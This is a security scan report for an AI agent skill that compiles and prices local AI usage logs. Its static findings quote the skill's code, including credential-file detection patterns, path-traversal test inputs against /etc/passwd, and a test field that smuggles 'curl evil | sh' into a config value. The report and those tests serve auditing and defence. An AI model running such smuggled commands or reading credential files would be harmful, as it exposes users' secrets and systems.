ai-usage-ledger-skill@1.5.11
CAUTION· install onlyPublisher claims: "Compile, price and attribute local AI agent usage" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Nothing executable in the bundle ran; the trace covers the install step only.- Tested
- every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-07 and scored it 79/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 1 scenarios · 0 deviationsStatic findings
| Opt-in: credential files | `accounts.from_credentials` (default off). On, `auth.json`, `.claude.json` and `.credentials.json` are opened for account id prefixes and plan types only, after a warning Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| Files read | Agent transcripts, tool databases and credential files under the user's own profiles and hosts named in the manifest; prompt-only history files (Claude Code and Codex `history.jsonl`) oFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.cred = os.path.join(home, ".claude", ".credentials.json")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose._FALLBACK_CRED_PATTERNS = re.compile(r"(?:^|[^a-z])(?:token|secret|credential|password|passwd|apikey|api_key)(?:[^a-z]|$)|\.pem$|\.key$|\.p12$|\.pfx$|^\.env\.|^id_rsa|^id_ed25519", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.Credential-looking files (auth.json, *token*, *.pem, .env* ...) are never opened; returns how many were skipped."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return subprocess.run([sys.executable, os.path.join(HERE, "ledger_query.py")] + args.rest).returncodeFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out._FALLBACK_CRED_BASENAMES = ("auth.json", ".credentials.json", "credentials.json", ".env", "id_rsa", "id_ed25519", "id_ecdsa", "id_dsa")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.".claude/.credentials.json (Claude Code): subscriptionType only")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..credentials.json, credentials.json, *token*.json, *.pem, *.key, .env, anything under .ssh/.aws/.gnupg and theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.sys.exit(subprocess.run([sys.executable, os.path.join(HERE, "render_ledger_doc.py")] + sys.argv[2:]).returncode)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.cred_path_re = re.compile(r"[\\/][^\s\"'`<>]{0,200}?(auth\.json|\.credentials\.json|\.claude\.json)\b", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| 2 | Onboarding auto-detects hosts and roots for this OS (`scripts/detect_hosts.py`: Windows, macOS, Linux, every WSL distro, other user profiles and drives, VS Code-family global storage, `CODEX_HOMFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why._CRED_PATTERNS = re.compile(r"(?:^|[^a-z])(?:token|secret|credential|password|passwd|apikey|api_key)(?:[^a-z]|$)|\.pem$|\.key$|\.p12$|\.pfx$|^\.env\.|^id_rsa|^id_ed25519", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| 5 | Deliver the dashboard, the study package and `all_events.csv` (or `ledger.py export`), with exclusions and low-confidence rules stated. For a statement, memo or brief, pick a template from `refeFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.out = subprocess.run(["wsl.exe", "-l", "-q"], capture_output=True, timeout=20).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."source": "~/.claude/.credentials.json rateLimitTier=default_claude_max_20x"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r = subprocess.run(cmd, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."_privacy": "What each host section collects: every *_roots entry is a directory tree of agent transcripts and session logs that the scanners read in full (timestamps, models, token counts, project paFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose._CRED_BASENAMES = ("auth.json", ".credentials.json", "credentials.json", ".env", "id_rsa", "id_ed25519", "id_ecdsa", "id_dsa")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.return subprocess.run(cmd + args.rest).returncodeFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run(["ssh", "-o", "BatchMode=yes", "--", target, self.REMOTE_STAT], input=("\0".join(wanted) + "\0").encode("utf-8"), capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.| What is retained and where | A durable, append-only ledger of per-call records (timestamps, models, token counts, prices, host, project path, session id, pseudonymous account) in `~/.ai-usage-ledgerFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.D.p("API-equivalent cost of a call = Σ tokens × list rate for that model, from `pricing.json`. `cost_if_uncached` re-prices the same call with every prompt token at the input rate; the difference is tFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.| Opt-in: SSH hosts | Only hosts the operator names at the prompt or in `config.json` `extra_hosts`. For each such host the skill uploads `compile_ai_logs.py` with `scp`, runs it there over `ssh`, andFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.r = subprocess.run(cmd, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.raise UnsafeValue("%s %s is group- or world-writable; fix it with chmod 600 (or set %s=1 to override)" % (what, path, ALLOW_SHARED_ENV))Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.r = subprocess.run(cmd, capture_output=True, text=True, input=input_text)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.Popen(["ssh", "-o", "BatchMode=yes", "--", target, self.REMOTE_TAR], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run(["crontab", "-l"], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.for p in ("/a/../../etc/passwd", "../x", "C:/Users/x/../../../Windows/evil"):Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."_privacy": "What each host section collects: every *_roots entry is a directory tree of agent transcripts and session logs that the scanners read in full (timestamps, models, token counts, project paFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.r = subprocess.run(cmd, cwd=ROOT, env=env, capture_output=True, text=True, encoding="utf-8", errors="replace")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.res = arch.archive_ssh("h", {"ssh": "user@host"}, ["/srv/a\nb.jsonl", "relative.jsonl", "/srv/../etc/passwd"])Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.subprocess.run(cmd, check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run(["schtasks", "/Query", "/TN", TASK_NAME], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.cred_yes = ["/home/u/.codex/auth.json", "C:\\Users\\u\\.claude\\.credentials.json", "/srv/app/credentials.json", "/x/token.json", "/x/api_key.txt",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.{"name": "s", "kind": "ssh", "ssh": "user@host", "python": "python3; curl evil | sh"},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.{"name": "s", "kind": "ssh", "ssh": "user@host", "python": "python3; curl evil | sh"},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- Markdown; `# aider chat started at <local time>` opens a session, `#### <prompt>` lines are user turns, `> Model: <name> ...` names the model, and `> Tokens: 2.8k sent, 27 received. Cost: $0.0029 meFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.return subprocess.run(cmd, cwd=ROOT, capture_output=True, text=True, encoding="utf-8", errors="replace", **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run(cmd)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."/x/server.pem", "/x/private.key", "/home/u/.env", "/home/u/.env.local", "/home/u/.ssh/config", "/home/u/.aws/credentials", "/x/my-secret-notes.md", "/x/id_rsa.pub"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.r = subprocess.run(["schtasks", "/Query", "/TN", TASK_NAME, "/FO", "LIST", "/V"], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.
What would make this Verified
1 point to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Unclaimed publisher≈ +8 on the totalClaim completetech: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- File type combined with upload action≈ +2 on the totalRemove the call, or declare the host in frontmatter and explain in the README what is sent and why.
- File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
- Pipe-to-shell pattern≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.